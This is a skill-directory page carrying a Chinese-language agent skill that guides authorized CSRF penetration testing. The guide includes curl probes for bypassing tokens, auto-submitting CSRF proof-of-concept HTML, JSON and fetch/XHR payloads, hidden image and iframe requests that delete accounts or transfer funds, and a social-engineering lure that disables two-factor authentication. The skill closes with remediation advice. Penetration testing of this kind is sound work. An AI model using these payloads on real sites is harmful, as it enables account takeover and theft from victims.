# Performing Csrf Attack Simulation

> 在授权安全评估中，通过构造利用已认证用户会话的伪造请求，测试 Web 应用程序的跨站请求伪造（CSRF）漏洞。

- Skill: `killvxk/performing-csrf-attack-simulation` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-csrf-attack-simulation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-csrf-attack-simulation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-csrf-attack-simulation

---


# 执行 CSRF 攻击模拟（Performing CSRF Attack Simulation）

## 适用场景

- 在授权 Web 应用程序渗透测试期间，识别易受 CSRF 攻击的状态变更操作
- 测试反 CSRF 令牌实现的有效性时
- 验证不同浏览器中 SameSite Cookie 属性的强制执行时
- 评估执行敏感操作的应用程序（密码修改、资金转账、设置变更）时
- 在对自定义认证和会话管理机制进行安全审计时

## 前置条件

- **授权**：针对目标的书面渗透测试协议
- **Burp Suite Professional**：具备 CSRF PoC 生成功能
- **Web 服务器**：用于托管 CSRF PoC 页面的本地 HTTP 服务器（Python `http.server`）
- **两个浏览器**：一个以受害者身份认证，一个作为攻击者
- **目标应用程序**：带有有效测试凭据的已认证会话
- **HTML/JavaScript 知识**：用于构造自定义 CSRF 载荷

## 工作流程

### 步骤 1：识别状态变更请求

浏览应用程序，识别所有修改服务器端状态的 POST/PUT/DELETE 请求。

```
# 在 Burp Suite 中，查看 Proxy > HTTP History
# 过滤 POST/PUT/DELETE 方法
# 重点关注以下操作：
# - 密码/邮箱修改
# - 资金/金钱转账
# - 账户设置变更
# - 添加/删除用户或权限
# - 创建/删除资源
# - 切换安全功能（禁用双因素认证）

# Burp 中捕获的状态变更请求示例：
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded

email=newemail@example.com

# 检查反 CSRF 保护：
# - 表单字段或头部中的 CSRF 令牌
# - 自定义头部（X-CSRF-Token、X-Requested-With）
# - SameSite Cookie 属性
# - Referer/Origin 头部验证
```

### 步骤 2：分析反 CSRF 令牌实现

测试现有 CSRF 保护的强度和执行情况。

```bash
# 检查是否存在 CSRF 令牌
curl -s -b "session=abc123" \
  "https://target.example.com/account/settings" | \
  grep -i "csrf\|token\|_token"

# 测试 1：完全删除 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 2：发送空的 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 3：使用随机/无效的 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=AAAAAAAAAA" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 4：复用过期/旧的 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=previously_captured_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 5：使用用户 B 的 CSRF 令牌与用户 A 的会话
curl -s -X POST \
  -b "session=user_a_session" \
  -d "email=test@evil.com&csrf_token=user_b_csrf_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"
```

### 步骤 3：检查 SameSite Cookie 和头部保护

验证基于浏览器和头部的 CSRF 防御。

```bash
# 检查会话 Cookie 上的 SameSite 属性
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# 查找：SameSite=Strict、SameSite=Lax 或 SameSite=None

# SameSite=Lax 允许对顶层 GET 导航进行 CSRF
# SameSite=None; Secure 允许跨站请求
# 无 SameSite 属性：浏览器默认为 Lax（现代浏览器）

# 检查 Origin/Referer 头部验证
# 发送不含 Referer 的请求
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: " \
  -d "email=test@evil.com&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 发送含恶意 Referer 的请求
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: https://evil.example.com/attack" \
  -d "email=test@evil.com&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 发送伪造 Origin 的请求
curl -s -X POST \
  -b "session=abc123" \
  -H "Origin: https://evil.example.com" \
  -d "email=test@evil.com" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"
```

### 步骤 4：使用 Burp Suite 生成 CSRF 概念验证

使用 Burp 内置的 CSRF PoC 生成器进行快速测试。

```
# 在 Burp Suite 中：
# 1. 右键点击 Proxy > HTTP History 中的目标请求
# 2. 选择"Engagement tools">"Generate CSRF PoC"
# 3. 点击"Test in browser"验证 PoC

# Burp 生成如下 HTML：
```

```html
<!-- 自动提交的表单编码 POST CSRF PoC -->
<html>
  <body>
    <h1>加载中...</h1>
    <form action="https://target.example.com/api/account/change-email"
          method="POST" id="csrf-form">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>
```

### 步骤 5：构造高级 CSRF 载荷

针对 JSON API 和其他非标准内容类型，使用高级技术。

```html
<!-- 使用 enctype 的 JSON API CSRF 表单 -->
<html>
  <body>
    <form action="https://target.example.com/api/account/change-email"
          method="POST"
          enctype="text/plain"
          id="csrf-form">
      <input type="hidden"
             name='{"email":"attacker@evil.com","ignore":"'
             value='"}' />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

<!-- 通过 XMLHttpRequest 的 CSRF（需要宽松的 CORS） -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.example.com/api/account/change-email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"email": "attacker@evil.com"}));
</script>

<!-- 通过 fetch API 的 CSRF -->
<script>
fetch("https://target.example.com/api/account/change-email", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "email=attacker@evil.com"
});
</script>

<!-- 通过图片标签的 CSRF（基于 GET 的状态变更） -->
<img src="https://target.example.com/api/account/delete?confirm=true"
     style="display:none" />

<!-- 通过 iframe 的多步骤 CSRF -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://target.example.com/api/transfer"
      method="POST" target="csrf-frame" id="csrf-form">
  <input type="hidden" name="to_account" value="attacker-account" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>
```

### 步骤 6：测试并验证 CSRF 攻击

托管 PoC 并确认成功利用。

```bash
# 启动本地 Web 服务器托管 CSRF PoC
cd /tmp/csrf-poc
python3 -m http.server 8888

# PoC 文件结构：
# /tmp/csrf-poc/
#   index.html          <- CSRF PoC 页面
#   change-email.html   <- 邮箱修改 CSRF
#   transfer.html       <- 资金转账 CSRF

# 测试步骤：
# 1. 在浏览器 A 中以受害者用户身份登录目标
# 2. 在浏览器 A 中打开 http://localhost:8888/change-email.html
# 3. 检查邮箱是否在未经受害者同意的情况下被修改
# 4. 在应用程序中验证状态变更

# 通过顶层导航绕过 SameSite=Lax：
# 对基于 GET 的 CSRF 使用 window.open 或 anchor 标签
```

```html
<!-- 使用顶层导航绕过 SameSite=Lax -->
<html>
  <body>
    <a href="https://target.example.com/api/settings?action=disable_2fa"
       id="csrf-link">点击此处获得奖励！</a>
    <script>
      // 通过社会工程学上下文自动点击
      // SameSite=Lax 允许在顶层 GET 导航时携带 Cookie
    </script>
  </body>
</html>
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| **CSRF** | 欺骗已认证用户的浏览器向存在漏洞的站点发出非预期请求的攻击 |
| **反 CSRF 令牌（Anti-CSRF Token）** | 绑定到用户会话的唯一不可预测值，必须包含在状态变更请求中 |
| **SameSite Cookie** | 控制 Cookie 在跨站请求中何时发送的浏览器属性（Strict、Lax、None） |
| **Origin 头部** | 表明请求来源的 HTTP 头部，用于 CSRF 验证 |
| **Referer 头部** | 包含引用页面 URL 的 HTTP 头部，有时用于 CSRF 检查 |
| **双重提交 Cookie（Double Submit Cookie）** | 比较 Cookie 值与请求参数值的 CSRF 防御方式 |
| **同步器令牌模式（Synchronizer Token Pattern）** | 服务器为每个会话或每个请求生成并验证唯一令牌 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| **Burp Suite Professional** | CSRF PoC 生成器和请求分析 |
| **OWASP ZAP** | 反 CSRF 令牌检测和 CSRF 测试 |
| **XSRFProbe** | 自动化 CSRF 漏洞扫描器（`pip install xsrfprobe`） |
| **Python http.server** | 用于托管 CSRF PoC 页面的本地 Web 服务器 |
| **Browser DevTools** | 检查 Cookie、SameSite 属性和网络请求 |
| **CSRFTester (OWASP)** | 用于构造和测试 CSRF 攻击的旧版工具 |

## 常见场景

### 场景 1：无 CSRF 令牌的邮箱修改
邮箱修改表单不包含 CSRF 令牌。攻击者托管一个自动提交表单的页面，将受害者邮箱修改为攻击者地址，从而通过密码重置链实现账户接管。

### 场景 2：通过令牌绕过的资金转账
银行应用程序具有 CSRF 令牌，但如果参数被完全省略则不进行验证。从转账表单中删除 `csrf_token` 字段即可实现跨站资金转账。

### 场景 3：通过内容类型操控的 JSON API CSRF
JSON API 端点不需要自定义头部。在 HTML 表单中使用 `enctype="text/plain"`，攻击者可以构造有效的 JSON 请求体来修改受害者的账户设置。

### 场景 4：基于 GET 状态变更的 SameSite=Lax 绕过
设置页面通过 GET 请求修改状态（`/settings?disable_2fa=true`）。由于 `SameSite=Lax` 允许在顶层 GET 导航时携带 Cookie，将受害者链接到此 URL 即可禁用其双因素认证。

## 输出格式

```
## CSRF 漏洞发现报告

**漏洞**：跨站请求伪造（邮箱修改）
**严重程度**：高（CVSS 8.0）
**位置**：POST /api/account/change-email
**OWASP 类别**：A01:2021 - 访问控制失效

### 复现步骤
1. 以受害者身份在 https://target.example.com 认证
2. 在攻击者控制的服务器上托管以下 HTML
3. 诱使受害者在已认证状态下访问攻击者页面
4. 受害者邮箱在未经同意的情况下被修改为 attacker@evil.com

### 已测试的反 CSRF 防御
| 防御措施 | 是否存在 | 是否强制执行 |
|---------|---------|----------|
| CSRF 令牌 | 否 | 不适用 |
| SameSite Cookie | Lax | 部分（GET 绕过） |
| Origin 验证 | 否 | 不适用 |
| Referer 验证 | 否 | 不适用 |
| 需要自定义头部 | 否 | 不适用 |

### 影响
- 通过邮箱修改 + 密码重置链实现账户接管
- 未授权资金转账
- 设置修改（禁用双因素认证、通知变更）

### 修复建议
1. 对所有状态变更请求实施同步器令牌模式（反 CSRF 令牌）
2. 尽可能在会话 Cookie 上设置 SameSite=Strict
3. 将 Origin 和 Referer 头部验证作为深度防御措施
4. 对敏感操作（密码修改、资金转账）要求重新认证
5. 对 AJAX 端点使用自定义请求头（X-Requested-With）
```